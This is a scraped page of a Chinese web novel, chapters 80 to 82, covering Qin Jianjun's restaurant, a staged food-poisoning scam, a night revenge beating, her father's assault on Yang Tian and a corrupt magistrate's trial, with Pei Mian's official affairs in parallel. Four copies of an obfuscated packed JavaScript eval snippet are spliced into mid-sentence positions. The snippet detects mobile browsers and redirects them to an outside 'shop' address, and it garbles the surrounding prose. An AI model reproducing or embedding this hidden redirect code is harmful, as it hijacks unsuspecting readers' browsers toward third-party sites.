“郎君,怎么笑得这么开心?”裴小之进了屋子,见裴眠笑得眼睛都弯起来了,不自觉也高兴起来,低头看见裴眠手上的信,顿时便明了了——原来是收到了秦小娘的来信。 裴眠收好信道:“她的含萃楼在平雅街开张了,热闹得很。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050022|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 裴小之睁大眼,惊喜道:“我就知道秦小娘可以的!她手艺好!脾性好!”说着,他又沮丧地垂下头,有些幽怨地看了裴眠一眼,嘟囔道,“我都许久没尝过秦小娘的手艺了......郎君先前偷偷回绵州还不带我......” 裴眠难得有点心虚,他起身推开门往外走。 “去哪儿啊郎君?”裴小之忙上前问。 “去地里看看。”裴眠走入阳光中。 他穿着浅色衣裳,阳光落在上面,刺得裴小之睁不开眼。 “郎君!多添件衣裳再......”裴小之话音未落,发现裴眠已经阔步出了院子,他收回拢在嘴边的手,心中奇异地冒出一丝欣喜来。 这就对了,这才是郎君,是不怕冷、不怕热、身子康健、意气风发的郎君! “等等我啊!”裴小之回过神来,边关门边往前追。 “大人,苗好着呢,只要熬过三月就不怕了!”连立山光脚站在地里,脸上尽是高兴之情。 裴眠蹲下身仔细看着,满意点头。 连立山见四周无人,便走到田埂边凑近裴眠,问道:“大人可收到了虔渊州来信?赵广涵的事......” 这事在虔渊州风声已有些大了,裴眠想不知道都难。 “若卢大人所言为实,那赵广涵侵吞救灾款的罪名可是不小的......”连立山道。 半月前,卢飞枫递上去一份折子,详细记述了赵广涵这些年是如何中饱私囊、掏空国库的。 最近的一桩案子,要数赵广涵侵吞了原本要派去南方救水灾的粮款,虽最后从北方调来了余粮,但侵吞救灾款事实犹在,不可轻易放过。 “卢大人眼下的日子怕是不好过。”裴眠道。 他完全能想象,一个敢于说实话的忠臣在虔渊州将会被如何对待,明枪暗箭、阴谋阳谋,数不胜数。 “唉......”连立山不傻,他知晓裴眠这话的意思,只是自己人微言轻,实在无法帮上什么忙,只能叹息一声。 夜里裴眠回了屋子,袁原风尘仆仆赶来复命。 “大人让我带的东西都带到了。” “虔渊州形势如何?”裴眠取下墙上挂着的弓,问。 “官家有意要保卢大人,下旨许卢大人在府中静养,不许任何人打扰。” 裴眠垂眸,抬手拨了拨弓弦,他将这些年私下收集到的赵广涵罪证全都送去了卢飞枫手中,如今自己在叶水州,能做的只有这些,若是卢飞枫此战败了...... 他深吸一口气,将弓挂回墙上,回头对袁原道:“你去虔渊州,务必保住卢飞枫的命。” 袁原领命退下,出屋子时被裴小之一头撞在身上。 “嘶......痛......”裴小之捂着鼻子指责道,“大木头!你走路不看路啊!” 袁原并未反驳,而是深深看了裴小之一眼,转身离开了。 “这块大木头!撞人都不道歉的!”裴小之嘟嘟囔囔进了屋子,对裴眠道,“郎君,明日你让他同我道歉!” “明日不行。” “那后天!” 裴眠看向裴小之,道:“我让他去虔渊州护住卢飞枫,短期内没法回来道歉了。” 裴小之揉着鼻子的手一顿,他日日跟在裴眠身边,自然知晓虔渊州如今是何局势,袁原去那里,不仅归期不定,连有无性命回来都说不准...... 他有些后悔,方才不该骂袁原的...... 80.第 80 章 天气渐渐转暖,眼看着店中食客越来越多,秦见君心中的不安也越来越浓烈。 斜对面的珍馐楼已不复往日热闹,隐隐有倾颓之势。 秦见君却不敢放松警惕,从裴眠的来信她得知赵广涵近日正处在风口浪尖,他手下的产业也必定不敢乱出风头,珍馐楼此时与其说是失势,不如说是在隐忍。 “姐姐,房大厨说珍馐楼如今是真的不行了,今日去采买时,看见那边的后厨连菜都要得少了......”袁芽挤到秦见君旁边,一起在窗边看向斜对面的珍馐楼。 “珍馐楼会倒闭吗?看着真冷清......”覃涛不知从哪儿冒出来问。 秦见君不说话了,珍馐楼会不会倒,要看后背的赵广涵能否摆平最近的风波...... 可无论珍馐楼倒不倒,眼下都是含萃楼崛起的好时机。 秦见君直起身子转身往后厨走,边走边道:“今天试菜,来不来?” 袁芽与覃涛眼睛一亮,顿时把珍馐楼忘到脑后,屁颠屁颠跟上了秦见君的步伐。 含萃楼的名声已经打出去了,换了铺子后还来了许多外地人。如今秦见君要做的,就是不断推出新菜色,将食客的新鲜感再往上吊一层。 含萃楼的菜单很完整,无论是酒水菜色还是米饭面条,都一应俱全,说起来,与其他酒楼并无差异,但含萃楼胜在有秦见君的厨艺撑场。 大荆进入和平年代连五十年都没有,厨子们都还待在舒适区,对调料的运用与烹饪方式的创新还并未探索,秦见君钻这个空子将含萃楼在绵州开得有声有色。 其实她心底清楚,大环境和平的前提下,只要朝廷不再内斗,国库能充盈起来,餐饮业必将迎来一波空前的发展。 所以她并不在乎有人在后厨门口观摩厨子们做菜,毕竟这些调料公式,在不久之后就会有人研究出来,与其遮遮掩掩,不如大方分享。到时若是餐饮业要往前走,她也能凭借好名声冲在一线。 不过一个事物只要发展得太快,便很容易引起关注。 秦见君倒并不关心珍馐楼倒不倒闭,只是觉得含萃楼在冒尖时,老牌酒楼却隐藏起来不与自己争夺,会让含萃楼更加突出,从而被盯上...... “姐姐,新菜是什么啊?”袁芽好奇的声音响起,打断了秦见君的思绪。 她取出里脊肉放在砧板上,吩咐袁芽去橱柜上头拿调料。 “你打开看看。” 袁芽抱着罐子,揭开封口,一股熟悉的味道涌了出来,她惊喜道:“是烤串料!” 秦见君点点头——去年烟火大会卖烤串的成功让她记住了,大荆的百姓喜欢烤串料的味道,先前一直没空琢磨,近日才决定了要做小酥肉,佐以烧烤料,定能大卖。 “炸酥肉?”房大河肩上搭着毛巾,站在灶台边听秦见君介绍新菜。 “嗯,炸酥肉,到时候撒上烤串料,你们尝尝就知道了。”秦见君说着,将里脊肉切成了手指大小的条状。 旁边的厨子们纷纷洗了手,来灶前看着。 切好的里脊肉条倒入花椒、盐等调料抓匀腌制,再将鸡蛋、面粉、淀粉与盐放入碗中调成细腻的糊状,最后淋在腌制好的里脊肉上。 待油热后,将裹好蛋液的里脊肉下锅油炸,炸至金黄捞出,接着复炸一遍,出锅后撒上烤串料,一时间后厨弥漫着肉香与料香。 众人都没拿筷子,生怕手伸晚了就没得吃,各个指尖烫得通红都不肯撒手。 房大河先张了口,酥脆表皮下包裹的里脊肉又嫩又烫,入口的瞬间烫得舌头差点将肉推出去,好在他忍住了,张着嘴大口呼吸。 谁知裹在酥肉上的粉料随着呼吸飞扬,房大河忍不住打了个喷嚏,到嘴的半截酥肉飞了出去...... “哈哈哈!”袁芽与覃涛笑得前仰后合,一旁的厨子们也憋不住笑了。 袁芽咽了好几口口水,终于等到酥肉能入口了,咬开酥脆的外皮时,耳边会响起“咔嚓”声,鲜嫩的里脊肉裹在其中,混着烤串料一同咀嚼,味道好极了。 她嚼着嚼着,忽然停顿了一下,接着叫道:“花椒都炸酥了!好香!” 秦见君笑了,先前吃小锅米线时,袁芽都会特地将花椒挑出来,如今吃酥肉倒是赞不绝口了。 后厨一片赞扬声不断,秦见君将剩在盘子中的酥肉端起来,去送给还在洗碗的杨甜与徐玲。 裴眠走后,秦见君带着秦建业去袁分的院子里待了一下午,后来秦建业便由杨甜陪着去袁分的院子里,再后来含萃楼开张,杨甜便来做洗碗工,秦建业自己拄拐去袁分那儿。 袁分在军械所的职务往上升了升,如今不必日日去所里,也就多出了空余的时间来。 秦见君打听过,秦建业去袁分那儿,起先是觉着袁分是“同类”,两人待在一处能有话说,能互相抱怨,但袁分豁达的态度令他感到诧异,也慢慢开始接受自己与他人的不同。 不过总这么赖在袁分那儿也不是个法子,秦见君看杨甜将酥肉都吃完了,便开口道:“我给秦建业找了个私塾,先生家里虽然清贫,但教书态度很端正......” 杨甜不懂这些,只能不住点头,待秦见君说完了,她又小声问了一句束脩多少。 “放心吧,能交得起,过两天发工钱,等着看吧。”秦见君笑。 杨甜以为自己来含萃楼是帮忙的,没想到还有工钱拿,忙摆手说不要。 “怎么不要?你跟玲姐一起干活,也不比玲姐干得少、干得差,当然也要拿工钱的,再说了,你能赚钱了,不就能供秦建业读书了?”秦见君道。 杨甜这样的妇女极少能意识到自身价值,所以才会有许多顾虑。秦见君不想杨甜一直被禁锢在从前的思维中,她要她自立,要她赚钱,要她享受不一样的人生。 杨甜听了秦见君的话,先是愣了一瞬,而后心中涌出热流——她能自己赚钱供秦建业上学......不用再求着秦留志给钱,不用看他脸色...... 秦见君看她表情,知晓她要好好消化一下,于是不多说什么,起身忙去了。 随着天气渐暖,叶水州田地里的苗也开始长了起来。 “郎君!虔渊州来信!”裴小之匆忙将信件递到裴眠手中,堪堪稳住了身子,差点从田埂上掉下去。 裴眠拆开信——卢飞枫已经将袁原送去的证据成功交给了官家,官家震怒,派了几人将此事彻查,让人不安的是,这几人中有赵广涵的人。 他将信交给裴小之去烧了,而后望向面前大片的田野——虔渊州无声的战火开始了,他却不在战火中心。 这与他多年前的设想不同,但奇怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061551|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是,这感觉并不赖...... 大荆人才辈出,虔渊州会有一批又一批的正直官员涌入,与那些贪官做斗争。 裴眠轻轻吐出一口气,心中郁闷消散了许多——虔渊州少了自己并不会如何,而自己眼下正在做的事,也能为百姓带来福祉。 自高中状元后便压在心头的大石悄然破碎,如今他心中少了对前路的忧虑,多了多脚下的坚定。 田里的苗一日日往上蹿,含萃楼的名气也愈发大。 这日秦见君正在后厨做菜,忽然听到大堂吵嚷,忙解了围裙出去看。 地上摔碎了几个盘子,精瘦的男人正扬起手要打冯莲,好在覃涛上前拉住了。 秦见君看后,路过柜台时小声对袁芽道:“去叫你哥过来。” 袁芽将账本锁进柜子里,偷偷绕开人群出门了。 秦见君上前问冯莲:“怎么回事?” “他说我们菜里有虫子......”冯莲被男人的狰狞嘴脸吓到,说话的声音都小了许多。 秦见君将她拉到身后,低头看了看地上的碎盘与剩菜,那精瘦的男人见了她,明显兴奋起来,开始大声嚷嚷。 “这就是含萃楼的老板!将虫子肉做成菜给食客吃!”男人的话像一颗巨石投入湖中,瞬间引得水花四溅。 周围食客的议论声纷杂混乱,秦见君大声道:“我们不会用虫子肉的,请问虫子肉在哪里?” “是啊!拿出证据啊!”有与秦见君相熟的食客喊了一声。 男人往地上啐了一口道:“半截虫子都吃进去了,还有半截就在地上的菜里,你翻找一下便知晓了!” 秦见君低头看了一圈,无辜道:“我没看见虫子肉。” 那男人丝毫不慌,笑道:“这半截虫子要是那么好找,我又怎会不小心吃进去呢!”说着,他忽然捂住肚子,表情痛苦。 “疼!肚子疼!” “叫大夫来!”秦见君大喊,覃涛忙转头跑了出去。 秦见君不知道此人是否提前服用过什么导致肚子疼的药物,也不敢轻易上前,只好将围观食客都拉开了些。 不一会儿大夫来了,把完脉后便说这男人吃坏了东西。 一时间食客们都骚动起来,秦见君也有些慌了,这场面她有些镇不住,若是动起手来,遭殃的是含萃楼。 就在此时,袁芽拉着袁分进了门,后头还跟着沈勤忠。 “这是做什么呢?”沈勤忠一开口,地上捂住肚子的男人就僵住了身子。 “他说在我的菜里吃出了虫子,却又拿不出证据。”秦见君道。 地上的男人忍不住开口:“大夫都说我吃错东西了!怎么就拿不出证据了?” 沈勤忠上前,人群便自动散开至两边。 他低头看了看男子,又看了看一旁低着头的大夫,心中有了盘算。 “李大夫,我记得您的医馆在街南河边,怎的今日跑到这儿来了?”沈勤忠问。 秦见君也反应了过来,街南河边距含萃店路程并不近,她侧头小声问覃涛:“这大夫从哪儿找来的?” 覃涛傻愣愣地回道:“我去医馆的路上,他拉住我说他是大夫......” 秦见君忍不住闭了闭眼——难怪都说不怕敌人太强大,只怕身边都是猪队友...... 81.第 81 章(一更) 沈勤忠此话一出,围观百姓纷纷反应过来,都指着那精瘦的男人骂。 秦见君等了会儿,待看到众人骂得有些累了,才上前道:“各位骂了许久,想来也是口干舌燥,阿莲去取梅子水来,不收钱。” 众人听了,纷纷称赞秦见君脾性好、待人宽容又大方,也有说她耳根子软,往后要受欺负的,她都笑着应下了。 地上的男人见闹事不成,便趁着众人饮梅子水时溜了。 秦见君端完梅子水回来,忙去寻那男人,他却早不见了踪影,她脸色顿时沉了下来。 “秦小娘,这梅子水当真生津解渴......” 听到身后食客的话,秦见君忙挂上笑转过头去,与客人们探讨起梅子水如何烹煮了。 众人散去后,袁芽从门外跑回来。 “去哪儿了?一头汗。”秦见君递了块毛巾给她。 袁芽一边擦汗一边凑近秦见君道:“那人去了刘与叶府上。” 秦见君眸子一转,看向袁芽——她跑得满头大汗,脸颊泛红,气喘不止却神色认真。 “知道了。”秦见君敛下眸子。 春日夜里下起了淅淅沥沥的雨,小巷中闪过几个人影,脚尖踩入水坑,打碎了水中闪着烛火的灯笼。 “姐姐,就是这里。”袁芽轻声道。 一旁的秦见君一袭黑衣,脸上也蒙着黑布,只剩一双亮晶晶的眸子。 这双漂亮的眸子四处看了看,便转身将散落在巷子中的杂物堆了起来,颤巍巍踩上去。 好不容易骑到了墙上,秦见君转身伸手要去拉袁芽,却看见袁分抱着袁芽一个蹬腿就上了墙头...... 秦见君:“......”没事......她很好,没有哥哥又不是她的错...... 刘与叶的院子里静悄悄的,三人翻入墙内,先摸去了距门最近的屋子,袁分进去将人绑起来堵住嘴,秦见君再带着袁芽进去。 这屋子里都是些小喽啰,秦见君还看见了去年来烧烤摊上闹事的两人。 袁芽气不打一处来,抬腿就要踹,没想到有人动作比她更快。 秦见君伸手就是一拳,重重砸在白日里来闹事的精瘦男人脸上。 那男人的嘴角渗出血来,却发不出声音,有苦不能言,只能用惊恐的眼神望向秦见君。 袁芽吓得收回了腿,甚至往袁分身旁靠了靠。 秦见君还不解气,抬手又是一拳,男人被打得头晕,迷糊间听到秦见君的声音:“再敢来闹事试试看。” 男人哼哼唧唧倒在地上,不敢动弹。 秦见君起身,看向僵着身子缩在角落里的两人,想起烟火大会时被烫伤的手腕,心中燃起怒火,抬脚就踹。 她虽未曾习武,但每日在后厨忙活,偶尔还帮着抬食材,手脚的力量都不算弱,这一脚几乎使了十成十的力。 袁芽将手挡在眼前,只敢从手指缝中看,听声音,那人的腿就算不瘸也要养上好一段日子了...... 秦见君踹了几脚才将从去年攒到今年的气给出了,心中无比顺畅,转身扬了扬头,示意可以走了。 三人翻出院子,走了好几条街才将脸上的布块卸下来。 “姐姐,你方才说话,他们不就认出你来了?”袁芽担心道。 秦见君却并不在意,掷地有声道:“那就让他们上街去说,说我秦见君半夜闯入院子里,将他们几个痛打了一顿,你看谁会信。” 袁芽忍不住睁大眼——高啊...... 秦见君一贯的形象都是温柔聪慧的,几乎不与人冷脸动粗,谁会相信她半夜出来将人绑着打呢? 袁芽看着秦见君的侧脸,有一瞬的陌生,转而又变为了复杂的情绪。 秦见君若有所觉,转头看向袁芽,沉声道:“人不犯我,我不犯人,但生意人必要立下正面形象,所以我才半夜来报仇,我们打了这一番,一来解气,且不会破坏含萃楼在百姓心中的印象,二来可以敲打一下他们,让他们收敛些。” 袁芽恍然大悟般点点头,对秦见君的崇拜又更上一层楼。 另一边屋子里被打的几人,互相将嘴里的破布扯了,大声呼救起来。 一个矮胖的男人被前呼后拥着进了屋子,顿时听取告状声一片。 “刘老板,是含萃楼的人!是秦见君!” 刘与叶竖起眉毛,骂道:“被一个女人打了?” 地上的人忙解释道:“她有高手相护!” 刘与叶抬手用食指与中指捻了捻胡子,三角眼一翻,招手喊了个人过来。 “去查查秦见君,都打到我家里来了,爷爷不发威,她个贱人真当能踩我头上?” 这边秦见君偷偷摸摸回了房间,为了不惊动隔壁的杨甜与秦建业,进了屋子她连灯都不敢点。 随手摸了块毛巾想擦擦头上的雨水,忽然感到身侧有温热的气息——有人! 秦见君立刻退开两步,听到那人缓缓开口道:“是我,见君。” 沈婉? 秦见君还是点上了灯,看见真是沈婉后,她差点控制不住翻白眼的冲动。 “你半夜潜入我房间做什么?” 沈婉的脸红彤彤的,眼角眉梢都带着喜意,语气中也透着兴奋:“赵大人的婚约解了!” 秦见君喝了口热水,点点头——能猜到,毕竟参赵广涵的人正是卢飞枫,两人如今在虔渊州水火不容,这亲肯定结不了。 “那你说......我要......要怎么......”沈婉不知该如何说,有些词不达意。 秦见君却听懂了,问道:“要如何趁机拿下赵大人?” 沈婉点头,眸子瞪得溜圆,期盼地看着秦见君。 秦见君有些头疼,沈婉看到自己与裴眠的情况,还以为自己是什么感情高手......殊不知自己只是幸运遇到了裴眠,感情才这么顺利的...... “赵大人最近在过岭州吗?”秦见君问。 “在的,不过......是软禁。”沈婉的语气中带上担忧,“虔渊州形势紧急,官家下令彻查,赵大人被软禁于府中,不许见客。” 这倒是有些难办了。 秦见君想了想,蹙眉道:“比起赵大人那边,沈大人这边更难搞吧?沈大人是什么态度?” 提起沈叠山,沈婉忍不住垮下脸道:“爷爷说......若是此次赵广涵倒了,那赵大人也无法独善其身,他是不会让我以身犯险的......” “沈大人说得对。”秦见君道。 沈婉垂着头,沮丧极了,轻声道:“我自然知晓爷爷的考虑是对的,只是......赵大人不是那等贪财之辈,也从不做蝇营狗苟之事,即便虔渊州出事了,也不能连带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074739|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一同怪罪啊......” 秦见君叹了口气,这年头还真不是“一人做事一人当”的时候。 她最近在读大荆律法,若是亲属贪的钱财数额太多,那自己也是要连带一并偿还的,何况赵浅聿是赵广涵儿子,到时候还债必少不了他,除非官家开恩。 “你还是先按兵不动,等情况明朗了再行动吧。”秦见君道,如今赵浅聿那边太乱,若是贸然靠近,说不准会被卷入其中...... “可......”沈婉犹豫着。 秦见君握住沈婉的手道:“这段日子,你先回府说服沈大人,等赵浅聿的事情平息了,你再一举拿下,岂不是更好?” 秦见君好说歹说,总算哄住了沈婉,挡住了她暂且不往火坑里跳。 没想到过了几日,自己避无可避的火坑就来了。 这日下午秦见君正在含萃楼后头的院子里打盹,杨甜洗了碗便去了大堂帮着擦桌子。 午后阳光正好,树上绿叶抽嫩芽,随风摇曳,深浅不一的绿色相互拍打,发出娑娑声。 秦见君正在梦中遨游,忽然被一声巨响吓醒。 “怎么......”秦见君随着响声跑到大堂,居然看见了一个意想不到的人。 胡子拉碴的男人手里抄着凳子,房大河带着一众厨子挡在那人面前。 是秦留志! 挨打的恐惧涌上心头,但有房大河几人在前面挡着,秦见君的心也稳了下来。 “你来做什么?” 秦留志看到秦见君,眼里忽然燃起怒火,抬手将凳子扔了过来,嘴上厉声骂道:“贱人还敢跑!我让你跑!” 房大河几人忙着接凳子,没拦住秦留志。 秦见君眼睁睁看着秦留志顺手抄起桌上的瓷壶向自己冲过来,她努力挪动身子要躲,却似是受到了万般阻力,无法动弹。 “砰”的一声,瓷壶应声而碎,尖锐的碎片在面前四溅开来,秦见君看着杨甜忽然挡在自己面前的背影,心中忽然猛得坠了一下。 “啊!” “快!叫大夫!” “抓住他!别让他跑了!” “快叫人啊!” 场面一片混乱,秦见君却只看得见倒在自己怀中的杨甜,她的脸上被碎片划出一道道血痕,左眼扎着一块瓷片,正汩汩往外淌血。 “娘......娘......”秦见君觉得呼吸不畅,心口似是被什么揪住了,肺也跟着被挤压。 杨甜已经没了意识,软软地靠在秦见君的身上。 她害怕极了,这一瞬她忽然想起老和尚说的“亲缘浅”。 是了,她这样亲缘浅的人,怎么会有双亲和弟弟呢...... 杨甜要死了吗? 秦见君觉得眼睛疼,忍不住抹了一把——湿的,是泪。 “姐姐!大夫来了!” 秦见君似是找到救星般拉住大夫的手,颤声道:“救救她......求求您......” 杨甜的血不停往外流,淋在地上圈成了一团血泊,秦见君从血泊倒影中看见了老鳏夫狰狞的脸。 他开口说话了:“快......快下来陪我!” 秦见君眼前阵阵发黑,感到有些想吐。 众人都围着杨甜,她便踉跄着走到一旁,想出去透口气,却在大门处腿一软,失去了意识。 82.第82章(二更) 这是秦见君第一次进府衙。 知州府与府衙极近,但裴眠在任时绵州并未有什么大案,是以裴眠去府衙办公也只是签署文件,从未开过堂,秦见君也就从未进来过。 秦见君跪在堂下,心中是压不住的怒意。 杨甜的左眼没保住,秦建业知晓后,学堂也不去了,每日握着刀守在杨甜身侧。 含萃楼暂时停业,被衙役用封条贴住,若是无法给百姓们一个交代,怕是会影响初夏的酿酒权投票...... 殷祈安坐在堂上,有些不耐烦地看向堂下众人,心中不住升腾起躁意——今日沈婉好不容易主动找自己一次,居然倒霉地碰上案子...... 例行问完堂下何人、所告何事后,殷祈安便大致清楚了。按律法,秦留志是必有牢狱之灾的,只是具体判多久他有些记不清了,于是含糊道此事需要详议,待午饭后再继续——他得先回去查查律法。 秦见君出了府衙的门,立刻被莺儿请去了街边停着的马车中,她认得那是沈府的马车。 她认得,殷祈安自然也认得。 他饶有兴味地看着秦见君上了马车,而后马车驶向了沈府。 马车行得不算快,秦见君的身子随着马车轻微摇晃,耳边是沈婉关切的声音。 “依大荆律法,你爹......秦留志是得先赔药钱,再关上半年的。” 才半年...... 秦见君紧蹙着眉头,既然秦留志已经知晓了含萃楼,那么半年后他依旧可以来闹事...... 如若不然......还是尽快趁着半年的时间,将含萃楼搬到别处去吧...... 去哪里呢? 秦见君对大荆的版图并不清晰,算得上耳熟的只有“虔渊州”。 作为大荆的政治文化中心,虔渊州确实是个好去处。 秦见君在心中做了决定,这才有闲心去问沈婉:“你今天怎么在府衙?” 沈婉顿时面色愤愤,声音也带上了怒意:“前几日你让我按兵不动,我便在府中待着,闲来无事想整理账本与信件,忽然看见......殷祈安他居然给我送了......避......避火图!” 秦见君挠了挠脖子——我就说怎么会有人给沈婉送这种东西...... “我今日是来警告他的,没想到遇上你这事......”沈婉顿了顿,问道,“裴大人知晓此事吗?” 秦见君点点头,又摇了摇头,无奈道:“我给他去了信,但肯定没这么快回复,估计帮不上什么忙。” 沈婉也忍不住叹气,秦留志这样的人即便关上个一年半载的,也不会改好。到时放出来只会继续缠着秦见君,摊上这样的父亲,她都替秦见君感到痛苦。 午后堂审继续,令秦见君感到奇怪的是,殷祈安一改上午公事公办的态度,居然隐隐有要保住秦留志的意思,她心中不安了起来。 在殷祈安问秦见君是否愿意私了和解时,秦见君仍然坚持不和解,堂审不了了之,待明日终审。 秦见君拍了拍膝盖上的灰,正要走出府衙,忽然被下人拦住,带去了侧门。 殷祈安正在侧门口等她。 殷祈安此人相貌平平,即便衣裳配饰都华贵无比,却并不如裴眠一样矜贵,反而透着一股油腻之气。 秦见君忍不住与他保持了几步距离。 殷祈安背着手,脸上带着志在必得的笑,对秦见君道:“听闻秦小娘与沈小姐是好友,不知沈小姐是否同你提起过我?” 秦见君在心里翻了个白眼:提起你?提什么?提你给她送避火图骚扰她? “我与沈小姐多是生意往来。”秦见君委婉地答了,却换来殷祈安一声嗤笑,接着脸色也沉了下来。 “别装了,秦见君,我知晓你与沈婉交好。”他往前走了两步,秦见君忍不住往后退,他便也不上前了,只是脸上神情愈发阴沉起来。 “今日这案子既然到了我手中,那要如何判都只是我一句话的事,什么大荆律法,都得从我嘴里过,能听懂吗?” 秦见君对他的厚颜无耻感到震惊——居然将徇私枉法说得这样理直气壮! “不过,此事也不是没有转机,若是你能让沈婉松口嫁给我......” 反正四下无人,秦见君这会儿连装都懒得装了,转头便走。 “诶!本官话都未说完!站住!”殷祈安提高了声音,试图吓住秦见君。 秦见君只抿着唇出了侧门,头也不回,只留殷祈安在原地气得跳脚。 秦见君回家后便苦恼地趴在了床上——撒气一时爽,审案火葬场...... 这下算是彻底得罪了殷祈安,明日怕是不仅要判秦留志无罪,还要将自己押入大牢才能解气...... 她深吸了一口气,努力让脑子冷静下来。 赵浅聿被软禁在府,沈叠山又早已退出官场...... 眼下只有裴眠能救自己,自己送去的是急信,说不定明日能收到裴眠的回信。 但只盼着裴眠来救自己,希望也太渺茫了...... 秦见君第一次感到这样强烈的无力感,并非实力悬殊的无力,而是分明有律法,却还是要任人拿捏的无力。 裴眠说得对,官场昏暗、百姓遭殃,大荆如此下去怎能真正富强起来? 秦见君忽然很想裴眠。 二月种下的苗长势很好,裴眠仔细记录着天气与稻苗变化,从一开始的不愿下地,变成了与连立山一样,光着脚踩入田中——只不过他上岸后还是忍不住要将脚洗得干干净净的。 “裴大人,如今天暖和了,我看今年是真的能丰收啊!”农户戴着草帽,面对着一望无际的田地,语气中带着欣喜。 裴眠点头,这批稻苗初夏便能收获,眼下天气逐步向暖,已无需他时刻盯着了。 官家前几日来了密信,信中直言大荆如今人口增长迅速,田产与物资却有些跟不上。 这几年陆续有海外人乘船来大荆,带来了许多新鲜玩意儿,当初裴眠离开虔渊州前的最后一封奏折上,便是提出了“出海计划”。 随着外邦人增多,武合文愈发感受到这封奏折的远见,便给裴眠去了密信,询问“出海计划”的详细规划。 裴眠将自己的所想所虑都写在了信中,心里却觉得此事难以实现。 赵广涵之事过去了这么久,虔渊州却未传出一点消息,若是让他躲过这劫,那国库便依旧空虚,贵族也依然手握巨额财富,官家要拿什么去支持“出海计划”呢? 不过令裴眠意想不到的是,官家回信,让裴眠不必留守叶水州,尽快回虔渊州,与家人团圆。 团圆是假, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080758|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出海是真,官家这是要将出海人选定给他,到时若是要出海,前途未卜,生死不定,确实是要先回虔渊州同爹娘道别的...... 裴小之不知道其中的弯弯绕绕,只高高兴兴地收拾行李,嘴里还念叨着先去绵州找秦见君,狠狠吃上几顿,再回虔渊州看老爷和夫人...... 秦见君再一次跪在堂下时,裴眠的信并未如期而至。 殷祈安说话时扭曲事实,要将罪责全部强加至秦见君身上,府衙中无一人敢反驳。 秦见君垂着脑袋,觉得累极了,辛苦经营许久,如今就要连人带含萃楼一同赔进去了吗? 殷祈安的声音如同鬼魅,萦绕在堂上,嗡嗡吵得秦见君头疼。 “且慢!”身后忽然传来一道男声。 秦见君从昏沉中清醒,转头望过去——是赵浅聿,他不是还在软禁中吗?怎么出来了? 殷祈安愣了一瞬,而后看了一眼跟在赵浅聿身后进来的沈婉,心中哼笑了一声。 “赵大人怎么有空来绵州?”殷祈安假惺惺地迎上前。 赵浅聿看着瘦了一些,但并不影响他的风流气质,说话时仍嘴角含笑:“听闻绵州出了一桩奇案,我赶来听听。” “不过是家长里短、酒楼闹事,怎么就成奇案了?”殷祈安道。 赵浅聿走上前,府衙里有眼色极佳的,连忙搬来一把椅子。 坐下后,赵浅聿摩挲着手中的折扇,缓缓开口道:“是啊,分明是酒楼蓄意闹事伤人,将闹事之人依法惩处即可,怎么就变成要抓酒楼老板了?你说这不是奇案是什么?” 殷祈安被刺了一下,顿时便垮了脸,快步走回堂上坐下,半晌才道:“绵州的事还轮不着过岭州知州来管。” 赵浅聿索性也不装了,收起嘴角的笑意道:“殷大人熟读律法,应当知晓,官员徇私枉法被告发,该是何等下场。” 殷祈安气笑了,驳道:“怎么?赵大人要告本官徇私枉法?说起徇私枉法,令尊近来可好?你们赵家如今在虔渊州可是风云人物啊。” 赵浅聿对上殷祈安的视线,并不恼怒,只是勾了勾唇角,道:“家父尚安,不过官家正为官员渎职之事烦忧,你说若是此时将殷大人徇私枉法的折子递到官家面前,会如何?” 殷祈安磨了磨后槽牙,却还算能保持理智,看向赵浅聿的眼神中带了一丝警惕。 赵广涵之事还尚未下定论,若是日后能翻身,便还是压在自己与父亲之上,到时候再来寻自己的麻烦,还不是易如反掌? 不过赵浅聿此时确实逾矩了,他若是想帮秦见君重判秦留志,岂不是也留下了把柄? 想到这里,殷祈安装作愤懑的模样,咬牙切齿道:“那赵大人觉得该如何判?” 只要赵浅聿说重判,他便立刻让人将秦留志斩首,这人命自然是算在赵浅聿身上。 